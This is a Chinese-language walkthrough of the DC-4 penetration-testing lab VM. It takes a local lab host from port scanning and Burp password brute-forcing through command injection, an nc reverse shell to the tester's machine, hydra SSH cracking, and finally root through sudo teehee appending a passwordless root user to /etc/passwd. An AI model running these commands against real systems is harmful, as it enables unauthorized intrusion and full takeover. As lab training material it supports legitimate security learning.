前言
DC靶场很适合拿来做渗透测试,让我们慢慢熟悉渗透测试基本流程,特别是熟练反弹shell,提权等技术,非常不错。
一、DC-4靶场
靶场搭建在本地
IP地址:192.168.0.151
可正常访问
nmap扫描开放的端口发现22ssh和80http服务端口开启
nmap -sT -p- --min-rate 2000 192.168.0.151
dirb查看有无隐藏目录
dirb http://192.168.0.151 /usr/share/wordlists/dirb/big.txt -X .php,.txt
没有特别发现
二、暴力破解
观察页面是一个登录界面,可尝试暴力破解用户名和密码
常用破解字典下载链接:https://weakpass.com/
bp抓包设置字典爆破
此处因为我已知用户名为admin,所以第一个playload直接设置为admin,即使不知道,设置两个变量爆破也可以解出,只是比较费时间而已。
可得出密码为happy,用户名admin
成功登录
三、查找可利用漏洞
登陆后继续bp抓包
很容易发现radio处就是一个命令执行,命令与参数之间用+号连接
更改一下命令查看效果
cat /etc/passwd
即可发现命令执行漏洞
四、反弹shell
在radio处更改命令
nc+192.168.0.107+8001+-e+/bin/bash
查看kali监听端口
shell反弹成功
五、提权
尝试sudo提权,查看/etc/passwd文件,suid位提权方式等都不行
suid提权一般的查询语句有
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
提示权限不够
查看一下home目录呢
home目录中有三个用户charles,jim,sam
再进入到三个用户目录里查找信息,发现/home/jim目录中存在着密码的备份文件old-passwords.bak,并且22号端口是开启的,那么我们可以尝试使用暴力破解远程登录。进而拿到一个root创建的用户,进而继续尝试后续提权操作。
将里面的内容复制到kali并创建passwd.txt,user.txt中写入三个用户名jim,sam,charles
再进行暴力破解
hydra -L user.txt -P passwd.txt ssh://192.168.0.151
得到用户名为jim,密码jibri104
然后使用ssh远程登录
当前为普通用户,再进行提权
上面提示有mail
查看一下/var/mail,发现是charles发的并且还有他的密码
登陆一下试试
登录成功
再试试sudo提权
发现了/usr/bin/teehee,但是在sudo提权网站上没有提权命令
查看teehee --help文档,大致知晓其作用是:将标准输入复制到每个FILE,也复制到标准输出。
所以可以尝试添加一个root权限的用户,使用标准输出修改/etc/passwd中的该用户信息,使得其无密码即可登录:
仿照root来写
echo "hp::0:0:root:/root:/bin/bash" | sudo teehee -a /etc/passwd
写入成功,登录便可以看到已经是root权限了
总结
DC-4的渗透考验我们的地方非常多,特别是对信息的收集,敏感文件的查看,思路一定要打开。